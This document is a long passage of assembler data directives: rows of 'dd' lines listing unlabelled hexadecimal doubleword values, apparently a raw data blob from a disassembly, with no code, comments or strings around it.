		dd 0EA91B9D4h, 841C0642h, 98B41989h, 0BA059F09h, 0A3040016h
		dd 246599C8h, 0A10C2B82h, 0DC4815E4h, 74B6F700h, 1743686Eh
		dd 0EACCA1C0h, 607003B2h, 4F3E13Eh, 0A7012309h,	84EC8055h
		dd 945781C7h, 1B3F1BD3h, 59420829h, 5EDD4AC0h, 53A7F71Ch
		dd 0ED186E40h, 0A3617DBEh, 40D3C2A8h, 0CA623D88h, 11A01811h
		dd 0F358805Fh, 8CB51573h, 0E328844h, 474DF350h,	1E545D20h
		dd 0B3074018h, 7D60823Eh, 8C4C9783h, 0AB911C90h, 549065h
		dd 525D50C6h, 0A5DE1DF0h, 906FCD37h, 0A0332062h, 0AF702890h
		dd 4E4D0355h, 56B53D90h, 21100830h, 4AF4873h, 28C0B034h
		dd 0E5E88196h, 857403CEh, 0E12D884Eh, 81EAA227h, 5EB1FECh
		dd 20CC42F7h, 0F99440CFh, 0F1A808A3h, 84064578h, 17571D0h
		dd 727D0041h, 0F499D73Ah, 8F62CD35h, 182122A8h,	5910AF74h
		dd 0FE2AE4Dh, 0A42FC1C0h, 221FDE00h, 4F5DC0B5h,	0EB6B014Bh
		dd 0CD954DCAh, 2C382006h, 1E410810h, 0C448C839h, 69CBA980h
		dd 0FC1ED8DEh, 0AF096050h, 49280012h, 142FA3F7h, 0A89A588Ah
		dd 98956204h, 38F90230h, 57E8B052h, 157411F3h, 808788ADh
		dd 8FF34F35h, 7E019BCDh, 0A5ADD4E2h, 30221503h,	0D998404h
		dd 727481EDh, 7A11EC6Dh, 0F0B54128h, 55901B0Bh,	131A00BBh
		dd 58849F9Bh, 5880C06h,	1736FB80h, 0FA81ADh, 94599FABh
		dd 6E286C47h, 0F4143D00h, 0A0BFD538h, 0E04B18ECh, 0C6323917h
		dd 9A5EFF09h, 527C0420h, 0E8093h, 0FFDE5821h, 0A310D940h
		dd 0F20B4100h, 0AF95F4FEh, 899E0068h, 8033A2C0h, 911B85A1h
		dd 8C8BDD1h, 1CB40868h,	0EE197782h, 33E0482Eh, 9095543Ah
		dd 0A5960030h, 0E4710112h, 0D09174D1h, 85AF2130h, 26C1903Dh
		dd 409C3887h, 6575ABBDh, 4909DC90h, 80A58146h, 597B91A0h
		dd 886F485Fh, 931C4D24h, 5E900145h, 89A824FDh, 80CB4C28h
		dd 81C474D0h, 0A13400A9h, 617FCF36h, 492075Ah, 162CE502h
		dd 0C43B1415h, 3CCC0F50h, 40BE4544h, 0DCCFEC81h, 0CE1E5B83h
		dd 0B91C8F3Dh, 9FDB1442h, 1E58C4BCh, 0E4C9EE63h, 3BC50148h
		dd 809C3AD8h, 0CB299951h, 8CAD64h, 0FE1AB095h, 1F5A891Ch
		dd 9B72AA00h, 7A5230F8h, 745524A8h, 0F1F68868h,	1E1D9903h
		dd 84B03D19h, 4CC0A52Ah, 45233C4Ah, 71F35203h, 0E062DC15h
		dd 0F34A2C20h, 0BDCC0608h, 48F59D89h, 86B7710Bh, 58B020EDh
		dd 0A80A1A04h, 0C0C121D0h, 1929E7E1h, 4258D82Ch, 204DCE44h
		dd 0B3089016h, 1404921Ah, 0F0839B41h, 0C9A16A87h, 7447E881h
		dd 1919803Dh, 0BDCBD85Bh, 0F0771F5Ch, 1108B3BAh, 437C2100h
		dd 0F83A4AD8h, 0B9930F5Ch, 0FBA07226h, 6DF49284h, 8631AF04h
		dd 94900522h, 0F33AC1Dh, 1FBBE70Fh, 4BC2F7C0h, 0FC006EF8h
		dd 522BAA58h, 6FD1D80h,	0E01389FBh, 8D3FB11Fh, 5E9E82D0h
		dd 0E0236D37h, 2B597F1h, 4EF393CBh, 8040C5A5h, 3807F72Bh
		dd 0A45FEC07h, 0CC807385h, 28659A5Dh, 48D01172h, 0C402E45Ah
		dd 71F7C366h, 0A1FBCC40h, 30911CF0h, 2D3AFC80h,	201C087h
		dd 0F216E763h, 34C1F35Bh, 92E0FC86h, 1BF8AD00h,	0D9E6AC9h
		dd 2ED10562h, 26BA94h, 9A0510FAh, 68998675h, 19124B1Dh
		dd 85916400h, 0B8091804h, 7BB5209Ch, 0D4B1F498h, 0EC1888D1h
		dd 96D95200h, 26701931h, 57411F8h, 4A0079C8h, 85787328h
		dd 584C12F3h, 0DEC0040Fh, 0A55290B4h, 0C7382D01h, 27960778h
		dd 11B461A4h, 0F3568051h, 8CA51575h, 308944h, 34C5F34Eh
		dd 4192AB61h, 6D028BF8h, 0CD996A9Bh, 758C4888h,	0C354818h
		dd 5D878428h, 440130BEh, 0DBC0F709h, 0EED5F0BDh, 2C1731C1h
		dd 3EE59D82h, 912FE020h, 180FD158h, 0E4500245h,	13B26169h
		dd 0B508CC81h, 0CA342506h, 0B8800864h, 9B0102B9h, 0A22B9875h
		dd 68E0644Bh, 0BB2A020Eh, 71F0D51Ch, 993E8860h,	1F0050B0h
		dd 30A0A9A5h, 269E05D3h, 408D0C0h, 19B2989h, 7EDB759Dh
		dd 4829A072h, 0D85E0160h, 1844BDC6h, 467B8816h,	0BD22D807h
		dd 0E5908449h, 11C782DCh, 0F1DED8Fh, 0CF8905FAh, 0CDCA003Ah
		dd 0A019F99Dh, 3058DC98h, 0D2299A07h, 400B7A7h,	4D5AB9B1h
		dd 0E5F900Eh, 0CAEFC34Bh, 53D8D83h, 809B3816h, 1EE0F821h
		dd 0E86B4180h, 93BAA36Ch, 73036676h, 3D2157Ah, 0EF611719h
		dd 0EB5C0658h, 950948ACh, 37E9186h, 4C19F074h, 0DE88449h
		dd 0D7441E8Ch, 9FD3014Eh, 0BC8885B1h, 0C901C648h, 0F89A69FFh
		dd 880A0C1Ch, 0FC002155h, 70854F06h, 319B31EAh,	0EDE918BEh
		dd 9C13101Fh, 2AA400BAh, 0AE87F353h, 0B30C81E7h, 0D8645D95h
		dd 0ACDF4ECh, 1093AD97h, 0A43902ECh, 84E1DC31h,	2809D992h
		dd 4182048Ch, 490E599h,	98D6840Dh, 0C3380118h, 89BFC44Fh
		dd 203DEFB1h, 58130AD2h, 65782048h, 0BD088CD7h,	179A31F1h
		dd 1A970C9Fh, 0CB4D2290h, 0E4090004h, 525E03F0h, 50BD600Ah
		dd 21888407h, 0DEDC3754h, 0A762AB01h, 0BDA655C3h, 1D6D53E8h
		dd 405DD8A5h, 61AFFAB6h, 0A1742ED3h, 7DF7B80Fh,	0A8C7005Ah
		dd 3FC0A3A6h, 74B079h, 0D1BB7338h, 21446B5Fh, 4BC84D00h
		dd 0BA0CA6F5h, 15973CFh, 614ED1A7h, 0DC5DFFA9h,	5057ECA4h
		dd 0FE571E38h, 94BDB20Eh, 0DF5AA818h, 18B9DE08h, 0B130B05Fh
		dd 0DBA76D1Ch, 0FE42C880h, 5A53ABh, 0A95838DAh,	46475FFBh
		dd 139201Fh, 0DACF580h,	0C37EEC45h, 47514BD1h, 41B84DC0h
		dd 906438D6h, 2EED0468h, 8514F58Ch, 1E94075h, 574186DCh
		dd 42787049h, 0F9BE1905h, 0F081E8CEh, 3083EDBBh, 438FEB52h
		dd 0A6E191Eh, 80FEF0Ah,	9981D024h, 3CD6489Dh, 503BF420h
		dd 12D32CF1h, 0A286265h, 660C3804h, 0C8C8948h, 78C7A4Dh
		dd 0D79D4DFCh, 0A090586Dh, 759E8173h, 408CDCE6h, 48E96049h
		dd 594C40CCh, 9E342AA3h, 6E490C78h, 0F2B1F617h,	7A437E87h
		dd 0DF8921BFh, 48EB5990h, 11A111D4h, 20B40813h,	0CA0D9FECh
		dd 0BC2881EFh, 3C155EF3h, 0CBE461D2h, 0FB0727F2h, 96160448h
		dd 600BC52Ch, 0DCD7B300h, 28D833BDh, 90CF673h, 47003C8h
		dd 0C9A928C8h, 1978740h, 174D4EB3h, 4189BDAFh, 0E29AD20Ch
		dd 4B28D064h, 6F1F58B5h, 0F3D450FCh, 884EE864h,	0F098CCD7h
		dd 608C5B55h, 0BCA47C3Ch, 0D53DB880h, 0C474A089h, 8D3715B9h
		dd 0F63FC423h, 81F899A9h, 0A134A2DCh, 145C30ECh, 45489084h
		dd 0B9408C73h, 29F6C119h, 918C60D9h, 0A0E44605h, 2672F35Ah
		dd 4C7CBE15h, 0D6443398h, 0E5411881h, 35F49148h, 386F68C1h
		dd 0A0104791h, 88A686F0h, 6EE04260h, 61BE18D3h,	0D4585928h
		dd 8A944905h, 0E08C6140h, 72C7AD8Fh, 25980C32h,	0DF8072EAh
		dd 508C98A8h, 0CD811C31h, 0DFD2843Eh, 1917C504h, 0A1588830h
		dd 0C8A328F0h, 146042F4h, 9994ED37h, 8BDE2D40h,	84603AC8h
		dd 0D34A1E28h, 9943E680h
		dd 59270C8Ch, 0AF4C028Fh, 0F10C675Ah, 0BC8B0ABFh, 0A8A1B8C6h
		dd 802814CCh, 0C99D147h, 4787585h, 8FD8558Ch, 3D6CF29Ch
		dd 13BFB342h, 0A039B124h, 20B3AF9h, 0B409AC1Fh,	0DB144903h
		dd 7462D84Dh, 6159221Ah, 0FA2350BEh, 92CBE0DCh,	76FBD9Fh
		dd 0D8A8B451h, 9974D281h, 0D8C014B4h, 0BCAAD1CBh, 5417D958h
		dd 0A22C9A4Ch, 0CCF035F5h, 3F28DDCh, 1F2BDECh, 3F44810h
		dd 203A36BBh, 977C2D78h, 80217288h, 0CCA44182h,	5E75DC07h
		dd 4BC3D0C2h, 67EDD060h, 2E70C698h, 70CE18CEh, 99125011h
		dd 0FFA82275h, 6693C98h, 3946A9F6h, 3C47E8D1h, 0B19C6704h
		dd 0D8497990h, 11CC3C18h, 0E1AC1DDBh, 39008B05h, 1C903B9Bh
		dd 557CBE00h, 0A4ABFAA5h, 0AAC30332h, 18D1A76Dh, 0F7A7A89Bh
		dd 0AF408EBAh, 696B6B0h, 0F772591Ch, 0C1A828C0h, 3361AAh
		dd 0A755A0C0h, 0BA60AD8Ch, 6218FF1Dh, 7B28F81Bh, 0C0A33E11h
		dd 0F5B65600h, 0C1336FA6h, 0B761AF00h, 32BD5B8Ch, 0FCA7F8CDh
		dd 0F05975F4h, 4AA78FCh, 0B955FEBBh, 0EFE88864h, 607D04ADh
		dd 0BDA64BCBh, 0A302B490h, 54B0C264h, 0C74479D3h, 54242823h
		dd 9D6040C0h, 0B6D3F4CBh, 0B886645Ch, 5C579F48h, 99496418h
		dd 683D26B5h, 3BDF05F4h, 0EE3081D8h, 1E9EC41h, 37D44B2Ch
		dd 7103FA01h, 90803732h, 5F9ECA65h, 2F044B52h, 0F62331F0h
		dd 0BB8008BDh, 0EE9AA8E8h, 9089EF4Bh, 634ECC30h, 0CAEB7074h
		dd 4080EDC2h, 536038F6h, 0EE8D28B6h, 0A1E108A3h, 52F9F980h
		dd 0D0855CD4h, 6050028Ch, 0A2957A4Dh, 89870C3Ch, 9D1095F1h
		dd 0E2E41D12h, 4BC85C80h, 0C67FE6F4h, 68434AE0h, 0F888BF33h
		dd 86810414h, 0A45385F1h, 0C3408328h, 19D87C38h, 78A6341Dh
		dd 37D448F1h, 8CAEB3E4h, 0B2431308h, 8138F392h,	5C2AFFDh
		dd 0F8463AE0h, 1E98C7D2h, 93011504h, 0B3209018h, 5C038F23h
		dd 715934CDh, 0B9E41Ch,	0E009D079h, 9CF03064h, 22F90828h
		dd 0CAF8B864h, 1F861A09h, 99E60008h, 0F1EB15C6h, 79D94500h
		dd 0A86DA120h, 75A9488Ch, 55AAD307h, 985C85BEh,	50B0CE78h
		dd 0A6C1A916h, 1803541Fh, 0A0DF4474h, 2D0A3B9h,	991E7A59h
		dd 60981403h, 89020C69h, 0FFAD1DD4h, 0E104B080h, 53CD7C4Ch
		dd 8400C10h, 0CFBA1F46h, 748C22A0h, 78560C2Ch, 0F3D336C1h
		dd 4815218h, 0E491AC4Eh, 0A805882Fh, 4A103298h,	14F40899h
		dd 0ADDC04A4h, 92C9930h, 22104B70h, 81926776h, 0D1904EC6h
		dd 2109F08h, 67887040h,	8918106Bh, 3D619CB7h, 4C487B88h
		dd 35334001h, 0C50008Ah, 0D07CDB58h, 0F1321828h, 0F324EE09h
		dd 0F591F048h, 9744F222h, 12998994h, 489B2496h,	229D9198h
		dd 9C9F449Ah, 9E12E189h, 0C0C1E327h, 47C9DC4Ah,	615122C4h
		dd 1835C174h, 4B33D1EDh, 4F229B0h, 82B9575h, 73C1026h
		dd 431C2F59h, 0DFE035E6h, 0E5E9CF38h, 0B7B0E03Ah, 87C8603Bh
		dd 0AA2FA8EDh, 52C7B647h, 9A41BE87h, 20E386F1h,	6071AE40h
		dd 0E1FFFC81h, 0C8C0B78Bh, 3AED09BFh, 484D7BA5h, 7F04E87Fh
		dd 2B1659F5h, 43508830h, 444B08DEh, 29BEC44Dh, 0B75C38B9h
		dd 5848EC83h, 0AD657103h, 22664AFFh, 18826309h,	5DF50417h
		dd 883AB3C0h, 13001BCh,	763703FFh, 31104171h, 0E0384AF3h
		dd 0FDAC67h, 0BDB39363h, 0AEEC1E4Ah, 3B68343Eh,	6A988025h
		dd 0E0A63505h, 3EC14286h, 4D11009Fh, 2840B31Bh,	28EC5417h
		dd 0E44EBDCCh, 7D1830E2h, 0ED40D376h, 6331C0B1h, 0B86FA9CEh
		dd 5359F407h, 67C0BEA0h, 0F1A3C1B9h, 0D3BCA42Bh, 0A700BA74h
		dd 0A659CFA8h, 0AE38FAADh, 31BD7814h, 0AC306CA4h, 8CC3D960h
		dd 30D1B638h, 0ABF400A8h, 5CFBB7BFh, 0EC1E6961h, 0FE4C5368h
		dd 37D090ACh, 4019A35Dh, 6DB3FBBAh, 0ACFFA50Eh,	3A809B55h
		dd 0A409D328h, 5DF8ABh,	0A3A9C0D0h, 0A5BA0DD2h,	0D431BBA7h
		dd 59C2AFC1h, 9AA2B9A9h, 63A8100Ch, 0ECA04ACFh,	40E94A44h
		dd 14A78840h, 0DCBAABF5h, 42F66EC7h, 4B55E933h,	254996ACh
		dd 0BC7641C0h, 2F20F92Fh, 0E00A907Bh, 9D81BC16h, 4298A1F8h
		dd 0D368F52Eh, 70D1BAE4h, 9A7ED450h, 0D8390024h, 77BAE49Fh
		dd 0BE9B1579h, 0F00EC16h, 7E78EE3h, 0E0BDE996h,	0C6786CB8h
		dd 283311A9h, 13484017h, 437ACFCh, 0E18B26A9h, 0F2186F51h
		dd 0AE77B923h, 0D2C22268h, 31F33A30h, 0D0D62232h, 411D2C81h
		dd 4A20221Dh, 0F1745F3Ch, 8C40022Ch, 1D282C06h,	332B5237h
		dd 5908F5B8h, 0C36FA74h, 0ED79CE21h, 3708DF67h,	0A513EA6h
		dd 3448EE18h, 7DE00EC8h, 0A91740F8h, 2E010F73h,	0D89BC94h
		dd 0F72A368Bh, 9D8F0494h, 0ED0C645Dh, 870CAE79h, 308A9FF1h
		dd 69E9613Ah, 1011F6EEh, 12E595B3h, 0AF1AC918h,	75DBA460h
		dd 3A104092h, 99FCF1C1h, 3186F0EDh, 0D835CD74h,	974C3C54h
		dd 2A58AD51h, 0B20418F6h, 1B0ADDBFh, 85F3E039h,	2A8E3005h
		dd 19AE2130h, 0EE3380C5h, 586F4C0Ah, 0CA285EA5h, 1DD77054h
		dd 0A497EE29h, 56F19908h, 1DD31121h, 0B831E309h, 790B60D9h
		dd 0D25A3E84h, 6F28A742h, 0E5CE9DA8h, 2808F005h, 0FB105722h
		dd 0FC90CA8Fh, 88974275h, 18D247C1h, 0B991217Eh, 0FA22C744h
		dd 0E2DD0835h, 4208D551h, 9AB9428Dh, 10224214h,	55FCD36Ah
		dd 2D888D42h, 116A7244h, 939C96F1h, 885C24EEh, 0CD45BD6Ch
		dd 25206023h, 0CCD73709h, 4B6010EDh, 137936F4h,	9AF84061h
		dd 2136BE31h, 0A03FDA2Bh, 58D00DEFh, 8232890Ch,	4EC147Ch
		dd 1FC8001Ah, 4D410955h, 11636CCCh, 214879B4h, 9997848Ch
		dd 2828D0CCh, 51747104h, 0A22E50F2h, 9E930E0h, 0C8C296D2h
		dd 0B6829D40h, 91ED4D2Ch, 0C3675A0h, 9844F053h,	0F2AF3771h
		dd 0A7578921h, 118FCEA8h, 3E0A2908h, 0E0C11660h, 0F811C001h
		dd 0FC96344Ch, 0CFCA1000h, 0C7B5D2AFh, 53990629h, 398F9A07h
		dd 1D5084EAh, 46880664h, 0D6500EA7h, 91806E09h,	543A2E1Ah
		dd 0A11F4873h, 934ECB90h, 0B6AE2352h, 0BA40005Dh, 6726CFF5h
		dd 4CA0EACDh, 6D269614h, 37004816h, 684C9C66h, 216E6004h
		dd 0DF4B5FEFh, 6A4DD106h, 3199A3Bh, 0FE43F3A1h,	0C5A03E52h
		dd 0D8010BC0h, 0F165DA1Fh, 30209CB1h, 2F6D0049h, 5276AA99h
		dd 0F03FDCB5h, 157583FDh, 7C057186h, 7D2C0078h,	0E5765C6Fh
		dd 51F24B50h, 0C4A01751h, 3A30363Dh, 0BB357997h, 61E282h
		dd 4B96D4EBh, 69E5CDECh, 6F306660h, 169A3621h, 0E1CFA65h
		dd 80014138h, 801603ADh, 4230BA10h, 0F4373813h,	870F171h
		dd 0A9850CEFh, 8AB8E1F9h, 9776B201h, 594254B9h,	0AF45E8h
		dd 41BB67E8h, 0B0956643h, 7B0EE707h, 74C058ADh,	7348A50h
		dd 726A4C40h, 0D2FE4056h, 80062F0h, 0F258E70Fh,	79474018h
		dd 44F16197h, 0D0634605h, 1D1E4C03h, 489D32FEh,	675B033Eh
		dd 0FF30AABh, 52E61B40h, 50AC0680h, 40A40C89h, 941E27F8h
		dd 5400F84Eh, 790F5B06h, 0A6AB7863h, 56B90230h,	4128E44Ah
		dd 67B81C9Bh, 978035F1h, 507A0278h, 4A7B27ABh, 46066099h
		dd 48DBC8Ch, 4127E4C1h,	4E28709Dh, 7D85310Bh, 0C18704Dh
		dd 8A0063E7h, 397EE60Bh, 154CBB45h, 2C9628A2h, 0ECA508Eh
		dd 68A807C4h, 7673C027h, 38AC59BBh, 497D9700h, 79157310h
		dd 0D2E50A51h, 0E8145A78h, 5995E040h, 49714C73h, 770CE30Eh
		dd 7A7D8567h, 4D02F85Dh, 883143AFh, 5E55044Ch, 467B0800h
		dd 47675EB2h, 7E443EB1h, 7D00223Fh, 5A87FE6h, 34984B40h
		dd 4D62493Fh, 281E7400h
		dd 0B901234Ah, 29734C80h, 0EAC9820h, 0EB17F20Ch, 939D41EFh
		dd 0A8400F03h, 4E9728F8h, 265AE63Ch, 2640201Ah,	190E730Bh
		dd 8F94FE7h, 230DE14Dh,	0D5347674h, 6010914Bh, 26FCAF04h
		dd 307C48h, 59AB517Bh, 0B2FB5650h, 0B4374D90h, 58201089h
		dd 4D27FC26h, 545858h, 60825BCh, 3CA86740h, 0E300B90Eh
		dd 376351D2h, 4B1DF128h, 4D0059FEh, 7EB5058Ah, 0D41E74E4h
		dd 4098C10h, 0B001D286h, 0F24C0BF2h, 527570C0h,	8379FC98h
		dd 0A4293724h, 0F10AE606h, 4D053310h, 86FC3360h, 513058ACh
		dd 0AC2688F2h, 52740331h, 537A1A37h, 9EE6D2A1h,	4F0E3430h
		dd 0E40790F1h, 8C53E759h, 281FF2A1h, 95C055B6h,	9351A83Eh
		dd 32611D77h, 0F504A9E0h, 0FC988258h, 0AD370196h, 0B236C03Eh
		dd 0AC71E04Dh, 309B341Dh, 4FD63300h, 7C04E99h, 8E49A83Dh
		dd 8088473Ch, 9B3B8314h, 72FC717Ch, 3F0042E4h, 92AE3098h
		dd 0DE7F4395h, 406CC060h, 25603D88h, 49F29778h,	414D9507h
		dd 0ACC07048h, 0FA388292h, 36960352h, 439B4AAEh, 377233C0h
		dd 7F34851Ch, 46606C94h, 82A0BE04h, 811D4DC8h, 0BB12A74Ch
		dd 9649AC00h, 1F4F423Ch, 3AB42972h, 0C784D75h, 927F3380h
		dd 7E7C418Bh, 483C8C3Ah, 797874D8h, 20DF42F8h, 0D2122912h
		dd 9B0081Fh, 489347A8h,	0A9A3E43Ch, 0AB00507Bh,	864B9D48h
		dd 0E778C49h, 4C94DA41h, 699B1B9Eh, 444236E0h, 4DA9D0F9h
		dd 47E8C072h, 2C3D7129h, 873C0F49h, 0AEF09B35h,	3E4E7251h
		dd 0F8613A41h, 0D3368192h, 7E4D8BF0h, 80D63431h, 18499AD4h
		dd 5CD15021h, 0E4BF3836h, 0BE047Ah, 0A488B625h,	1E4DA816h
		dd 5A9377Fh, 2C7E398Eh,	34533E1Ch, 42B9A118h, 5AEC860h
		dd 0AC3C8DEDh, 0C0683B3Eh, 97D37F22h, 4EAD2C4Ch, 0E2AB05D8h
		dd 4964C071h, 852A3C94h, 1269184Dh, 50FC88C9h, 0D210C080h
		dd 2E1CBFE9h, 822034A8h, 0A6289840h, 9A3C38E0h,	31723E0Eh
		dd 36978279h, 0E878E4ACh, 0AB430E9Ch, 62809B40h, 9E4D9AEFh
		dd 288E4817h, 8F96800Bh, 2F8C034Eh, 3097B083h, 90465C78h
		dd 0B6E2A20Eh, 3909E8Fh, 298D92A8h, 7E2103ABh, 83438C3Ah
		dd 0AD284197h, 0CA807548h, 3206C85Bh, 176841B5h, 5C71291h
		dd 0D48530E0h, 89342EE8h, 8CEC61A1h, 608FC9E1h,	6854AA50h
		dd 35A102BEh, 859B33ADh, 0A80034F4h, 30B84D79h,	0F04E50ACh
		dd 8FF21D42h, 71EE0008h, 0C034AD44h, 496EA9FCh,	4D88C021h
		dd 0E88151A7h, 71C8A0AAh, 904A65ADh, 4FC8077Dh,	16E0427Eh
		dd 38868070h, 0D3F810A5h, 0A8300D8Bh, 0F0E8913Eh, 28C33297h
		dd 0A1CB219Fh, 1C2143BBh, 4AB4DC00h, 20356197h,	20AE399Bh
		dd 49E83226h, 0B379527h, 52E0B9B8h, 8F12C452h, 138C9580h
		dd 0F89871CAh, 48AB1F3Fh, 0D8D11B9Ch, 0D133883Bh, 12C0D0DCh
		dd 0D80ED0A2h, 1300468Fh, 2A8147A6h, 21F00498h,	427F80A0h
		dd 0FA1486E4h, 7AB07854h, 71F08250h, 9E48AA06h,	3CD0A236h
		dd 677B833Dh, 5F932878h, 2ADE919h, 98589242h, 96625DDCh
		dd 4430B060h, 1C92869Bh, 0FD71493Ch, 36704209h,	0F44E08ABh
		dd 0FC644C69h, 133890AFh, 0C34EAB4Ch, 2FE35230h, 0F18C34C1h
		dd 14E89282h, 12F05010h, 188B4DACh, 0B480B4FEh,	0FDB44D9Eh
		dd 4CB6DC30h, 3E4CA4DFh, 3387793Eh, 0D0717AAAh,	4D0FD6Dh
		dd 7595171Dh, 401F9BC0h, 60B9E1h, 0A7D4705h, 0F73D615Fh
		dd 9AD6D206h, 68BBE7h, 0D3D1588Ch, 76DA9278h, 0A980FC60h
		dd 0C042897Ah, 8FF6D458h, 0B7F8C602h, 0BA1B100Fh, 79D9C0A3h
		dd 0A51FD6Ch, 22901FADh, 25147820h, 20A97E8Ch, 31D7279h
		dd 7198AA52h, 1521CA11h, 84607C28h, 46EEC80Fh, 4527B098h
		dd 63DDA201h, 0CAD3519Ah, 0FCC09848h, 76D90019h, 5F2F3D4Eh
		dd 0ECE83E1Eh, 40BE21CFh, 5344A419h, 0B7E428AAh, 0DA662284h
		dd 0D8488B0Fh, 2F5A20F6h, 184DE030h, 9090E288h,	49C0DFABh
		dd 0C323E573h, 1C5F0D03h, 0C76A954h, 0F981921Ch, 6E448h
		dd 16A68C96h, 0CDA30530h, 6099DA29h, 7B18E359h,	9091D600h
		dd 990D138Ah, 0A89D184Fh, 5DE9698Eh, 633AB400h,	0EAF26543h
		dd 0BEFA003Ch, 0E7F62373h, 1028CBB0h, 0D0E6A09Eh, 5CAA271Eh
		dd 0A6D52185h, 1908887Bh, 477E0458h, 82F43DBAh,	896A9C4Dh
		dd 3F044087h, 796D04E1h, 80BADD92h, 91328050h, 4955A930h
		dd 1210C41h, 0DBD70B1Bh, 0A1EFE25Dh, 98008808h,	0B9B020D3h
		dd 0B1F260CAh, 951F7872h, 5DCE430Fh, 0F6FF80F9h, 0FBA79Fh
		dd 6DCD3E7Fh, 0A44D27CFh, 0D272E215h, 21BCEC8Ch, 0A5F903D2h
		dd 0D4C81422h, 0D81926C0h, 3E462176h, 0BD00EA91h, 0A6BB192Eh
		dd 0BC061895h, 1B2A57C8h, 1E810041h, 0E735B2E2h, 320A2D8Fh
		dd 0B8602963h, 0D3622B01h, 918F5317h, 0A9E0D071h, 0FC8EB5C8h
		dd 8CC9DEEh, 3D12215Ah,	20063C9h, 0FE4BFD7Eh, 0E13C07DCh
		dd 3825A6ECh, 0DCBEDF0Ah, 0B609044h, 0EFE61A21h, 0A176448Ch
		dd 0F30020F2h, 0F2F41B9Bh, 3FD54412h, 45004764h, 1F9CC083h
		dd 8C098207h, 50B19F6h,	0AC096B5Fh, 10789561h, 8C23CA62h
		dd 0E1C0A59Eh, 0C6FCB73Ch, 0A80C2845h, 2DF4688h, 0C8A563BCh
		dd 106C3195h, 563D51Eh,	0A88CF222h, 77C847FDh, 9017B605h
		dd 10A40290h, 0BDD76CA0h, 245560Ch, 7EDD90E2h, 0F0D89969h
		dd 0C78FFD53h, 5C8853h,	0FC9F5F50h, 16ECD6FAh, 29A01F67h
		dd 229DA01Ah, 6517C880h, 19296F6h, 70C0EB81h, 10A8A293h
		dd 6FC351h, 925D401Ch, 63E1193Dh, 86D5790Ch, 3A235084h
		dd 0E4509AAEh, 0DDC0A191h, 6308B618h, 0C4A5C8A3h, 0CF1C4065h
		dd 0F54763h, 69BD0AFDh,	29CE5A31h, 0C6D8121Ch, 2CF78C80h
		dd 500EF3C7h, 187BA8F8h, 0F937D16Bh, 0C960C5DEh, 2972A918h
		dd 6508045h, 3E25A20h, 0EC90FB7h, 290ADD02h, 0AC94D97Ah
		dd 1ADEC806h, 7B700C29h, 2E18643Dh, 94152B2Ah, 0A4F46500h
		dd 5859787Dh, 907700D3h, 2C4FD029h, 0A7014825h,	0D4642A79h
		dd 0F460E1FBh, 99C938Fh, 780420DAh, 909C98E7h, 0E1A288h
		dd 774F5820h, 6EAB8673h, 0EEC91406h, 98ECB2h, 16FC1EB1h
		dd 6CAF738h, 0D9C2F3F8h, 0C989FD4Ah, 0B0F9D6C0h, 7AA51882h
		dd 0A80370B4h, 697B87h,	0E5430509h, 0C9CC883Ch,	0FCC5D500h
		dd 32B53EF1h, 0B1FE0047h, 0CDF852C6h, 0EB055B35h, 8AAEDD76h
		dd 15A1F428h, 90240656h, 4021B21Fh, 0E2708AAAh,	0FA49BBD5h
		dd 95CA0398h, 10AEC893h, 3F9C2A0h, 0BF0D04D9h, 8A58041Bh
		dd 14C229Dh, 0A64BCA9Eh, 0DE686050h, 38E3638Eh,	590AF6C9h
		dd 0D04CF22Bh, 0F5423D03h, 1B806A2h, 0F189A9A3h, 8416EA00h
		dd 0B0E23B0h, 1DFD00C3h, 27D75D9Dh, 31F45778h, 6B1BC1C1h
		dd 1C204329h, 32AEF818h, 9A9073A6h, 0E7E4E465h,	0DB819160h
		dd 4C58B900h, 6BC3DD40h, 998A60A9h, 0AE45F59Eh,	808D5005h
		dd 0AC312402h, 4AF403B4h, 4F660117h, 12D4E15Ah,	1C944118h
		dd 8F5E7FEh, 1AC0C84Ch,	46770C19h, 0ED2226h, 0CC1922A1h
		dd 0A9A094E8h, 41E96A12h, 1423A028h, 0BC8B5173h, 3E28A840h
		dd 20404A76h, 84A98D26h, 9C92AA44h, 20BC44D8h, 9F083871h
		dd 2FE4EE3h, 8AE4AEF0h,	1EA9F4A3h, 9CD8A7E3h, 3F64BD72h
		dd 0EC8CC630h, 55744A27h, 0AF216820h, 0FCF9984Dh, 0D4738980h
		dd 0B744D630h, 10EC8948h, 44426A19h, 6416EF0Ch,	2F009B59h
		dd 78041507h, 0E89EF0h,	0C2EFCB6Fh, 0D14EE13h, 23B471Dh
		dd 49C8D0Bh, 1B61C7E4h
		dd 2E77F819h, 0A2E8448Ch, 47192300h, 0B6E38141h, 8F0C14AEh
		dd 77A0E01Ah, 20607B0Dh, 1AE0618h, 2880817Ch, 84B2800Ch
		dd 1D95F0E4h, 0FCD9E82Dh, 7D412200h, 0B22C9CA1h, 0C47C74E4h
		dd 3927B101h, 491851B5h, 417FE987h, 37EAD1CFh, 0E857C9D9h
		dd 0A0A0A76Bh, 4B7E6CADh, 0DD777B09h, 7FF0256Eh, 7AC8D4CBh
		dd 0B76EFBC0h, 0FFE71394h, 1EA03071h, 6D88312Ah, 5F48016Bh
		dd 6C8A7B4h, 50C2C6Eh, 0F3C2980Ch, 80A91682h, 0C464F67Ch
		dd 8AEC9Dh, 0F0AB35D4h,	3D1EDDA5h, 1340A40Fh, 0A8780A12h
		dd 74232C1h, 39EA44Ch, 4E8AC06h, 1AB9DDA2h, 72BC5772h
		dd 0E0014B4Ah, 7EFD3E69h, 0B4101FF3h, 940589A9h, 98536448h
		dd 0A0E9F200h, 6A06D7F0h, 8BC99ECh, 56065E6Dh, 98E92EE2h
		dd 289101B8h, 0F7DD7309h, 0ABAC482Dh, 20D6028Ch, 0DC470B25h
		dd 9E408051h, 2CD720DDh, 45CB805h, 0FFB36D6h, 26D183F7h
		dd 1EC83A18h, 0AE5C8CC0h, 0ECD7855Ch, 2219AEC6h, 1724D1B2h
		dd 0E5800C55h, 8384F9B3h, 7F0601BDh, 1413D2FBh,	7E443622h
		dd 3B48CA01h, 0AF6ABC0Eh, 0ECBC6828h, 17A9248Ch, 0FFE44048h
		dd 40036BD4h, 854B57ADh, 1C37C88Ch, 769E190Bh, 63057880h
		dd 4192C0Ch, 9EEEC8C0h,	795080B0h, 535C19EAh, 131F10D4h
		dd 36AE2472h, 5D178C08h, 0CE0B8079h, 38CC594Ch,	442A3160h
		dd 753FFB14h, 1BBB80DEh, 70F89827h, 0A5AD3C6Eh,	0CCC8C91Fh
